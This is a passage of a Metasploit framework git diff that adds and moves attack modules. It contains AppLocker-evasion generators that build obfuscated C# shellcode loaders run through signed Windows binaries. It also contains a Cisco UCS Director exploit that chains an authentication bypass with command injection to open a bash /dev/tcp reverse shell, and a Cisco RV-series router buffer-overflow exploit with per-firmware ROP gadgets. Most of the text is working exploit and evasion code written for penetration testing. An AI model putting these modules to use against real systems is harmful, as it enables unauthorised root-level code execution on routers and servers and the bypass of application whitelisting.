VirtualAlloc(IntPtr.Zero, (UIntPtr)#{mod[5]}.Length, #{mod[7]}, #{mod[8]}); + System.Runtime.InteropServices.Marshal.Copy(#{mod[5]}, 0, #{mod[6]}, #{mod[5]}.Length); + IntPtr #{mod[9]} = IntPtr.Zero; + WaitForSingleObject(CreateThread(#{mod[9]}, UIntPtr.Zero, #{mod[6]}, #{mod[9]}, 0, ref #{mod[9]}), #{mod[10]});} + private static Int32 #{mod[7]}=0x1000; + private static IntPtr #{mod[8]}=(IntPtr)0x40; + private static UInt32 #{mod[10]} = 0xFFFFFFFF; + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p); + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id); + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms); + [System.Runtime.InteropServices.DllImport("user32.dll")] + static extern bool ShowWindow(IntPtr #{mod[1]}, int nCmdShow); + [System.Runtime.InteropServices.DllImport("Kernel32")] + private static extern IntPtr GetConsoleWindow(); + const int #{mod[2]} = 0;} + HEREDOC + end + + def presentationhost_manifest + <<~HEREDOC + + + + + + + + + + + + + + + + HEREDOC + end + + def presentationhost_csproj + <<~HEREDOC + + + + + Release + x86 + WinExe + true + true + false + + + true + . + + + + + + + #{datastore['CS_FILE']} + Code + + + + + + + + HEREDOC + end + + def file_format_filename(name = '') + name.empty? ? @fname : @fname = name + end + + def create_files + f1 = datastore['CS_FILE'].empty? ? 'presentationhost.xaml.cs' : datastore['CS_FILE'] + f1 << '.xaml.cs' unless f1.downcase.end_with?('.xaml.cs') + f2 = datastore['MANIFEST_FILE'].empty? ? 'presentationhost.manifest' : datastore['MANIFEST_FILE'] + f2 << '.manifest' unless f2.downcase.end_with?('.manifest') + f3 = datastore['CSPROJ_FILE'].empty? ? 'presentationhost.csproj' : datastore['CSPROJ_FILE'] + f3 << '.csproj' unless f3.downcase.end_with?('.csproj') + cs_file = presentationhost_xaml_cs + manifest_file = presentationhost_manifest + csproj_file = presentationhost_csproj + file_format_filename(f1) + file_create(cs_file) + file_format_filename(f2) + file_create(manifest_file) + file_format_filename(f3) + file_create(csproj_file) + end + + def instructions + print_status "Copy #{datastore['CS_FILE']}, #{datastore['MANIFEST_FILE']} and #{datastore['CSPROJ_FILE']} to the target" + print_status "Compile using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\MSBuild.exe #{datastore['CSPROJ_FILE']}" + print_status "Execute using: C:\\Windows\\System32\\PresentationHost.exe [Full Path To] #{datastore['CS_FILE'].gsub('.xaml.cs', '.xbap')}" + end + + def run + create_files + instructions + end +end diff --git a/modules/evasion/windows/applocker_evasion_regasm_regsvcs.rb b/modules/evasion/windows/applocker_evasion_regasm_regsvcs.rb new file mode 100644 index 0000000000..cc80db2181 --- /dev/null +++ b/modules/evasion/windows/applocker_evasion_regasm_regsvcs.rb @@ -0,0 +1,150 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Evasion + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Applocker Evasion - Microsoft .NET Assembly Registration Utility', + 'Description' => %( + This module will assist you in evading Microsoft + Windows Applocker and Software Restriction Policies. + This technique utilises the Microsoft signed binaries + RegAsm.exe or RegSvcs.exe to execute user supplied code. + ), + 'Author' => + [ + 'Nick Tyrer <@NickTyrer>', # module development + 'Casey Smith' # regasm_regsvcs bypass research + ], + 'License' => 'MSF_LICENSE', + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [['Microsoft Windows', {}]], + 'References' => [['URL', 'https://attack.mitre.org/techniques/T1121/']]) + ) + + register_options( + [ + OptString.new('TXT_FILE', [true, 'Filename for the evasive file (default: regasm_regsvcs.txt)', 'regasm_regsvcs.txt']), + OptString.new('SNK_FILE', [true, 'Filename for the .snk file (default: key.snk)', 'key.snk']) + ] + ) + + deregister_options('FILENAME') + end + + def build_payload + Rex::Text.encode_base64(payload.encoded) + end + + def obfu + Rex::Text.rand_text_alpha 8 + end + + def regasm_regsvcs + esc = build_payload + mod = [obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu] + <<~HEREDOC + using System; + using System.EnterpriseServices; + using System.Runtime.InteropServices; + namespace #{mod[0]} + { + public class #{mod[1]} : ServicedComponent + { + [ComRegisterFunction] + public static void RegisterClass(string #{mod[2]}) + { + #{mod[3]}.#{mod[14]}(); + } + [ComUnregisterFunction] + public static void UnRegisterClass(string #{mod[2]}) + { + #{mod[3]}.#{mod[14]}(); + } + } + public class #{mod[3]} + { + private static Int32 #{mod[4]}=0x1000; + private static IntPtr #{mod[5]}=(IntPtr)0x40; + private static UInt32 #{mod[6]} = 0xFFFFFFFF; + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p); + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id); + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms); + [System.Runtime.InteropServices.DllImport("user32.dll")] + static extern bool ShowWindow(IntPtr #{mod[7]}, int nCmdShow); + [System.Runtime.InteropServices.DllImport("Kernel32")] + private static extern IntPtr GetConsoleWindow(); + const int #{mod[8]} = 0; + public static void #{mod[14]}() + { + IntPtr #{mod[7]}; + #{mod[7]} = GetConsoleWindow(); + ShowWindow(#{mod[7]}, #{mod[8]}); + string #{mod[9]} = "#{esc}"; + byte[] #{mod[10]} = Convert.FromBase64String(#{mod[9]}); + byte[] #{mod[11]} = #{mod[10]}; + IntPtr #{mod[12]} = VirtualAlloc(IntPtr.Zero, (UIntPtr)#{mod[11]}.Length, #{mod[4]}, #{mod[5]}); + System.Runtime.InteropServices.Marshal.Copy(#{mod[11]}, 0, #{mod[12]}, #{mod[11]}.Length); + IntPtr #{mod[13]} = IntPtr.Zero; + WaitForSingleObject(CreateThread(#{mod[13]}, UIntPtr.Zero, #{mod[12]}, #{mod[13]}, 0, ref #{mod[13]}), #{mod[6]}); + } + } + } + HEREDOC + end + + def snk + debaser = 'BwIAAAAkAABSU0EyAAQAAAEAAQD9yIxqf9oJgwLw6nUHqVNq4LaP+/eaL4qTT9K9aV/z7ddCP8+Uf2/47KnHklpaw+eH03ZaA2yKYBA9s+Al0VoyajA76HQp + HDaCgiURBIT2GBLUGwdhoEMWX5J8eoCzkucJEjSsavQh+r9JeB6zcQvoZIx0PrpELgQc8is8j2jvsFuc5LQ8ZFoPk1273TTxKibw84HFESjxJrRtkSjwoEo4OUuZtL3C7fD + gnaSoeLnMwohmyTTjt15zgBZv7xD5u/CHD4/+tySJufY5j0FkBxhyqt2DWHcmH4MQCC6PgYfIuTXEAD35o0cg+6s6pJYKB+DUCrU5vSime3jyWno9vCe87UT+fQcDrKntHB + mjnj9WliAMZlU1IuCWieT7fzGZqqIsd4rrcgxetnWzaWRAkgHcTVkmVPIt0z9zHU71s7CER2viklJkiaZjRQan5ZA7bTqqsuG1xoIyXTWbKsaAMCKf5a4IJS2ImpqaYA9HR + BrIV7be2o0QJxSm1LPqBXJqkAhnCpcYyfve2dql7fF+fAIDGe3ZgCEbJsfYuAaAY0snGJQhUgLmwO8GDbsbMUTuBQspDv8QXsF53UNH5v5dnOKaTfo71LrI+I5zBUqEYP3B + DtK0qryu/J1eq80nPAmpNqRbFnYm1OdGKpgzHS+Ws7obPSt1HG3//BxC3a5znX0evfCfSaaWRswhjvblnh1070b3jkT6nJeksKuuVEHvudAQAtGn2vxNDs4CqrJODi5Z/BA + KgpIZqQeZmh3r4Zb5OI0=' + Rex::Text.decode_base64(debaser) + end + + def file_format_filename(name = '') + name.empty? ? @fname : @fname = name + end + + def create_files + f1 = datastore['TXT_FILE'].empty? ? 'regasm_regsvcs.txt' : datastore['TXT_FILE'] + f1 << '.txt' unless f1.downcase.end_with?('.txt') + f2 = datastore['SNK_FILE'].empty? ? 'key.snk' : datastore['SNK_FILE'] + f2 << '.snk' unless f2.downcase.end_with?('.snk') + txt_file = regasm_regsvcs + snk_file = snk + file_format_filename(f1) + file_create(txt_file) + file_format_filename(f2) + file_create(snk_file) + end + + def instructions + print_status "Copy #{datastore['TXT_FILE']} and #{datastore['SNK_FILE']} to the target" + if payload.arch.first == ARCH_X86 + print_status "Compile using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\csc.exe /r:System.EnterpriseServices.dll /target:library /out:#{datastore['TXT_FILE'].gsub('.txt', '.dll')} /keyfile:#{datastore['SNK_FILE']} #{datastore['TXT_FILE']}" + print_status "Execute using: C:\\Windows\\Microsoft.NET\\Framework\\[.NET Version]\\regsvcs.exe #{datastore['TXT_FILE'].gsub('.txt', '.dll')}" + print_status 'or' + print_status "Execute using: C:\\Windows\\Microsoft.NET\\Framework\\[.NET Version]\\regasm.exe /U #{datastore['TXT_FILE'].gsub('.txt', '.dll')}" + else + print_status "Compile using: C:\\Windows\\Microsoft.Net\\Framework64\\[.NET Version]\\csc.exe /r:System.EnterpriseServices.dll /target:library /out:#{datastore['TXT_FILE'].gsub('.txt', '.dll')} /keyfile:#{datastore['SNK_FILE']} #{datastore['TXT_FILE']}" + print_status "Execute using: C:\\Windows\\Microsoft.NET\\Framework64\\[.NET Version]\\regsvcs.exe #{datastore['TXT_FILE'].gsub('.txt', '.dll')}" + print_status 'or' + print_status "Execute using: C:\\Windows\\Microsoft.NET\\Framework64\\[.NET Version]\\regasm.exe /U #{datastore['TXT_FILE'].gsub('.txt', '.dll')}" + end + end + + def run + create_files + instructions + end +end diff --git a/modules/evasion/windows/applocker_evasion_workflow_compiler.rb b/modules/evasion/windows/applocker_evasion_workflow_compiler.rb new file mode 100644 index 0000000000..a7c8f619a6 --- /dev/null +++ b/modules/evasion/windows/applocker_evasion_workflow_compiler.rb @@ -0,0 +1,159 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Evasion + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Applocker Evasion - Microsoft Workflow Compiler', + 'Description' => %( + This module will assist you in evading Microsoft + Windows Applocker and Software Restriction Policies. + This technique utilises the Microsoft signed binaries + Microsoft.Workflow.Compiler.exe to execute user supplied code. + ), + 'Author' => + [ + 'Nick Tyrer <@NickTyrer>', # module development + 'Matt Graeber' # workflow_compiler bypass research + ], + 'License' => 'MSF_LICENSE', + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [['Microsoft Windows', {}]], + 'References' => [['URL', 'https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb']]) + ) + + register_options( + [ + OptString.new('XOML_FILE', [true, 'Filename for the .xoml file (default: workflow.xoml)', 'workflow.xoml']), + OptString.new('XML_FILE', [true, 'Filename for the .xml file (default: workflow.xml)', 'workflow.xml']) + ] + ) + + deregister_options('FILENAME') + end + + def build_payload + Rex::Text.encode_base64(payload.encoded) + end + + def obfu + Rex::Text.rand_text_alpha 8 + end + + def workflow_xoml + esc = build_payload + mod = [obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu] + <<~HEREDOC + + + + HEREDOC + end + + def workflow_xml + <<~HEREDOC + + + + #{datastore['XOML_FILE']} + + + + + + + + false + true + false + + + + + false + -1 + + false + false + + false + CSharp + + + + + + + HEREDOC + end + + def file_format_filename(name = '') + name.empty? ? @fname : @fname = name + end + + def create_files + f1 = datastore['XOML_FILE'].empty? ? 'workflow.xoml' : datastore['XOML_FILE'] + f1 << '.xoml' unless f1.downcase.end_with?('.xoml') + f2 = datastore['XML_FILE'].empty? ? 'workflow.xml' : datastore['XML_FILE'] + f2 << '.xml' unless f2.downcase.end_with?('.xml') + xoml_file = workflow_xoml + xml_file = workflow_xml + file_format_filename(f1) + file_create(xoml_file) + file_format_filename(f2) + file_create(xml_file) + end + + def instructions + print_status "Copy #{datastore['XOML_FILE']} and #{datastore['XML_FILE']} to the target" + if payload.arch.first == ARCH_X86 + print_status "Execute using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\Microsoft.Workflow.Compiler.exe #{datastore['XML_FILE']} #{Rex::Text.rand_text_alpha 3}" + else + print_status "Execute using: C:\\Windows\\Microsoft.Net\\Framework64\\[.NET Version]\\Microsoft.Workflow.Compiler.exe #{datastore['XML_FILE']} #{Rex::Text.rand_text_alpha 3}" + end + end + + def run + create_files + instructions + end +end diff --git a/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb b/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb deleted file mode 100644 index c9c998de6e..0000000000 --- a/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb +++ /dev/null @@ -1,152 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -# linux/armle/meterpreter/bind_tcp -> segfault -# linux/armle/meterpreter/reverse_tcp -> segfault -# linux/armle/meterpreter_reverse_http -> works -# linux/armle/meterpreter_reverse_https -> works -# linux/armle/meterpreter_reverse_tcp -> works -# linux/armle/shell/bind_tcp -> segfault -# linux/armle/shell/reverse_tcp -> segfault -# linux/armle/shell_bind_tcp -> segfault -# linux/armle/shell_reverse_tcp -> segfault -# -class MetasploitModule < Msf::Exploit::Remote - Rank = GoodRanking - - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStager - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Cisco RV130W Routers Management Interface Remote Command Execution', - 'Description' => %q{ - A vulnerability in the web-based management interface of the Cisco RV130W Wireless-N Multifunction VPN Router - could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. - - The vulnerability is due to improper validation of user-supplied data in the web-based management interface. - An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device. - - A successful exploit could allow the attacker to execute arbitrary code on the underlying operating - system of the affected device as a high-privilege user. - - RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected. - - Note: successful exploitation may not result in a session, and as such, - on_new_session will never repair the HTTP server, leading to a denial-of-service condition. - }, - 'Author' => - [ - 'Yu Zhang', # Initial discovery (GeekPwn conference) - 'Haoliang Lu', # Initial discovery (GeekPwn conference) - 'T. Shiomitsu', # Initial discovery (Pen Test Partners) - 'Quentin Kaiser ' # Vulnerability analysis & exploit dev - ], - 'License' => MSF_LICENSE, - 'Platform' => %w[linux], - 'Arch' => [ARCH_ARMLE], - 'SessionTypes' => %w[meterpreter], - 'CmdStagerFlavor' => %w{ wget }, - 'Privileged' => true, # BusyBox - 'References' => - [ - ['CVE', '2019-1663'], - ['BID', '107185'], - ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex'], - ['URL', 'https://www.pentestpartners.com/security-blog/cisco-rv130-its-2019-but-yet-strcpy/'] - ], - 'DefaultOptions' => { - 'WfsDelay' => 10, - 'SSL' => true, - 'RPORT' => 443, - 'CMDSTAGER::FLAVOR' => 'wget', - 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp', - }, - 'Targets' => - [ - [ 'Cisco RV130/RV130W < 1.0.3.45', - { - 'offset' => 446, - 'libc_base_addr' => 0x357fb000, - 'system_offset' => 0x0004d144, - 'gadget1' => 0x00020e79, # pop {r2, r6, pc}; - 'gadget2' => 0x00041308, # mov r0, sp; blx r2; - 'Arch' => ARCH_ARMLE, - } - ], - ], - 'DisclosureDate' => 'Feb 27 2019', - 'DefaultTarget' => 0, - 'Notes' => { - 'Stability' => [ CRASH_SERVICE_DOWN, ], - }, - )) - - self.needs_cleanup = true - end - - def p(offset) - [(target['libc_base_addr'] + offset).to_s(16)].pack('H*').reverse - end - - def prepare_shellcode(cmd) - #All these gadgets are from /lib/libc.so.0 - shellcode = rand_text_alpha(target['offset']) + # filler - p(target['gadget1']) + - p(target['system_offset']) + # r2 - rand_text_alpha(4) + # r6 - p(target['gadget2']) + # pc - cmd - shellcode - end - - def send_request(buffer) - begin - send_request_cgi({ - 'uri' => '/login.cgi', - 'method' => 'POST', - 'vars_post' => { - "submit_button": "login", - "submit_type": "", - "gui_action": "", - "wait_time": 0, - "change_action": "", - "enc": 1, - "user": rand_text_alpha_lower(5), - "pwd": buffer, - "sel_lang": "EN" - } - }) - rescue ::Rex::ConnectionError - fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router") - end - end - - def exploit - print_status('Sending request') - execute_cmdstager - end - - def execute_command(cmd, opts = {}) - shellcode = prepare_shellcode(cmd.to_s) - send_request(shellcode) - end - - def on_new_session(session) - # Given there is no process continuation here, the httpd server will stop - # functioning properly and we need to take care of proper restart - # ourselves. - print_status("Reloading httpd service") - reload_httpd_service = "killall httpd && cd /www && httpd && httpd -S" - if session.type.to_s.eql? 'meterpreter' - session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' - session.sys.process.execute '/bin/sh', "-c \"#{reload_httpd_service}\"" - else - session.shell_command(reload_httpd_service) - end - ensure - super - end -end diff --git a/modules/exploits/linux/http/cisco_ucs_rce.rb b/modules/exploits/linux/http/cisco_ucs_rce.rb new file mode 100644 index 0000000000..2c41ad5feb --- /dev/null +++ b/modules/exploits/linux/http/cisco_ucs_rce.rb @@ -0,0 +1,148 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Cisco UCS Director Unauthenticated Remote Code Execution', + 'Description' => %q{ + The Cisco UCS Director virtual appliance contains two flaws that can be combined + and abused by an attacker to achieve remote code execution as root. + The first one, CVE-2019-1937, is an authentication bypass, that allows the + attacker to authenticate as an administrator. + The second one, CVE-2019-1936, is a command injection in a password change form, + that allows the attacker to inject commands that will execute as root. + This module combines both vulnerabilities to achieve the unauthenticated command + injection as root. + It has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0. + Note that Cisco also mentions in their advisory that their IMC Supervisor and + UCS Director Express are also affected by these vulnerabilities, but this module + was not tested with those products. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2019-1937' ], # auth bypass + [ 'CVE', '2019-1936' ], # command injection + [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-authby' ], + [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-cmdinj' ], + [ 'URL', 'FULL_DISC' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt' ] + ], + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => + { + 'payload' => 'cmd/unix/reverse_bash', + }, + 'Targets' => + [ + [ 'Cisco UCS Director < 6.7.2.0', {} ], + ], + 'Privileged' => true, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 21 2019' + )) + + register_options( + [ + Opt::RPORT(443), + OptBool.new('SSL', [true, 'Connect with TLS', true]), + OptString.new('TARGETURI', [true, "Default server path", '/']), + ]) + end + + def check + # can't think of anything better then this + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'login'), + 'method' => 'GET' + }) + if res and res.code == 302 + return Exploit::CheckCode::Detected + end + + return Exploit::CheckCode::Unknown + end + + def exploit + # step 1: get a JSESSIONID cookie + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'login'), + 'method' => 'GET' + ) + + if res and (res.code == 200 or res.code == 302) + jsession = res.get_cookies.split(';')[0] + + # step 2: authenticate our cookie as admin + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'ClientServlet'), + 'cookie' => jsession, + 'vars_get' => + { + 'apiName' => 'GetUserInfo' + }, + 'headers' => + { + # X-Requested-With and Referer headers are needed, else the server ignores us + # The X-Starship headers are the key to this auth bypass vuln, see the References + 'X-Requested-With' => 'XMLHttpRequest', + 'Referer' => "https://#{rhost}#{rport == 443 ? "" : ":" + rport}/", + 'X-Starship-UserSession-Key' => "#{rand_text_alpha(5..12)}", + 'X-Starship-Request-Key' => "#{rand_text_alpha(5..12)}" + }, + 'method' => 'GET' + }) + + if res and res.code == 200 and res.body.include?("admin") + if not res.get_cookies.empty? + # if the server returns a new cookie, use that + jsession = res.get_cookies.split(';')[0] + end + print_good("#{peer} - Successfully bypassed auth and got our admin JSESSIONID cookie!") + + # step 3: request our reverse shell + payload = %{{"param0":"admin","param1":{"ids":null,"targetCuicId":null,"uiMenuTag":23,"cloudName":null,"filterId":null,"id":null,"type":10},"param2":"scpUserConfig","param3":[{"fieldId":"FIELD_ID_USERNAME","value":"scpuser"},{"fieldId":"FIELD_ID_DESCRIPTION","value":"The 'scpuser' will be configured on this appliance in order to enable file transfer operations via the 'scp' command. This user account cannot be used to login to the GUI or shelladmin."},{"fieldId":"FIELD_ID_PASSWORD","value":"`bash -i >& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1 &``"}]}} + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'ClientServlet'), + 'cookie' => jsession, + 'headers' => + { + # X-Requested-With and Referer headers are needed, else the server ignores us + # The X-Starship headers are the key to this auth bypass vuln, see the References + 'X-Requested-With' => 'XMLHttpRequest', + 'Referer' => "https://#{rhost}#{rport == 443 ? "" : ":" + rport}/", + }, + 'method' => 'POST', + 'vars_post' => + { + 'formatType' => 'json', + 'apiName' => 'ExecuteGenericOp', + 'serviceName' => 'InfraMgr', + 'opName' => 'doFormSubmit', + 'opData' => payload + } + }) + if res and res.code == 200 + print_good("#{peer} - Shelly is here, press ENTER to start playing with her!") + end + else + fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie") + end + else + fail_with(Failure::Unknown, "#{peer} - Failed to obtain JSESSIONID cookie") + end + end +end diff --git a/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb b/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb new file mode 100644 index 0000000000..b3bdf22bfa --- /dev/null +++ b/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb @@ -0,0 +1,423 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +# linux/armle/meterpreter/bind_tcp -> segfault +# linux/armle/meterpreter/reverse_tcp -> segfault +# linux/armle/meterpreter_reverse_http -> works +# linux/armle/meterpreter_reverse_https -> works +# linux/armle/meterpreter_reverse_tcp -> works +# linux/armle/shell/bind_tcp -> segfault +# linux/armle/shell/reverse_tcp -> segfault +# linux/armle/shell_bind_tcp -> segfault +# linux/armle/shell_reverse_tcp -> segfault +# +class MetasploitModule < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + include Msf::Exploit::Deprecated + + moved_from 'exploit/linux/http/cisco_rv130_rmi_rce' + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Cisco RV110W/RV130(W)/RV215W Routers Management Interface Remote Command Execution', + 'Description' => %q{ + A vulnerability in the web-based management interface of the Cisco RV110W Wireless-N VPN Firewall, + Cisco RV130W Wireless-N Multifunction VPN Router, and Cisco RV215W Wireless-N VPN Router + could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. + + The vulnerability is due to improper validation of user-supplied data in the web-based management interface. + An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device. + + A successful exploit could allow the attacker to execute arbitrary code on the underlying operating + system of the affected device as a high-privilege user. + + RV110W Wireless-N VPN Firewall versions prior to 1.2.2.1 are affected. + RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected. + RV215W Wireless-N VPN Router versions prior to 1.3.1.1 are affected. + + Note: successful exploitation may not result in a session, and as such, + on_new_session will never repair the HTTP server, leading to a denial-of-service condition. + }, + 'Author' => + [ + 'Yu Zhang', # Initial discovery (GeekPwn conference) + 'Haoliang Lu', # Initial discovery (GeekPwn conference) + 'T. Shiomitsu', # Initial discovery (Pen Test Partners) + 'Quentin Kaiser ' # Vulnerability analysis & exploit dev + ], + 'License' => MSF_LICENSE, + 'Platform' => %w[linux], + 'Arch' => [ARCH_ARMLE, ARCH_MIPSLE], + 'SessionTypes' => %w[meterpreter], + 'CmdStagerFlavor' => %w{ wget }, + 'Privileged' => true, # BusyBox + 'References' => + [ + ['CVE', '2019-1663'], + ['BID', '107185'], + ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex'], + ['URL', 'https://www.pentestpartners.com/security-blog/cisco-rv130-its-2019-but-yet-strcpy/'] + ], + 'DefaultOptions' => { + 'WfsDelay' => 10, + 'SSL' => true, + 'RPORT' => 443, + 'CMDSTAGER::FLAVOR' => 'wget', + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + }, + 'Targets' => + [ + [ 'Cisco RV110W 1.1.0.9', + { + 'offset' => 69, + 'libc_base_addr' => 0x2af06000, + 'libcrypto_base_addr' => 0x2ac01000, + 'system_offset' => 0x00050d40, + 'got_offset' => 0x0009d560, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x00167c8c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + } + } + ], + [ 'Cisco RV110W 1.2.0.9', + { + 'offset' => 69, + 'libc_base_addr' => 0x2af08000, + 'libcrypto_base_addr' => 0x2ac03000, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x00098db0, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x00167c4c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + } + } + ], + [ 'Cisco RV110W 1.2.0.10', + { + 'offset' => 69, + 'libc_base_addr' => 0x2af09000, + 'libcrypto_base_addr' => 0x2ac04000, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x00098db0, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + } + } + ], + [ 'Cisco RV110W 1.2.1.4', + { + 'offset' => 69, + 'libc_base_addr' => 0x2af54000, + 'libcrypto_base_addr' => 0x2ac4f000, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x00098db0, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + } + } + ], + [ 'Cisco RV110W 1.2.1.7', + { + 'offset' => 69, + 'libc_base_addr' => 0x2af98000, + 'libcrypto_base_addr' => 0x2ac4f000, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x00098db0, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + } + } + ], + [ 'Cisco RV130/RV130W < 1.0.3.45', + { + 'offset' => 446, + 'libc_base_addr' => 0x357fb000, + 'system_offset' => 0x0004d144, + 'gadget1' => 0x00020e79, # pop {r2, r6, pc}; + 'gadget2' => 0x00041308, # mov r0, sp; blx r2; + 'Arch' => ARCH_ARMLE, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp', + } + }, + ], + [ 'Cisco RV215W 1.1.0.5', + { + 'offset' => 69, + 'libc_base_addr' => 0x2af59000, + 'libcrypto_base_addr' => 0x2ac54000, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x00098db0, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => ARCH_MIPSLE, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + } + } + ], + [ 'Cisco RV215W 1.1.0.6', + { + 'offset' => 69, + 'libc_base_addr' => 0x2af59000, + 'libcrypto_base_addr' => 0x2ac54000, + 'system_offset' => 0x0004c7e0, + 'got_offset' => 0x00098db0, + # gadget 1 is in /usr/lib/libcrypto.so + 'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; + 'Arch' => 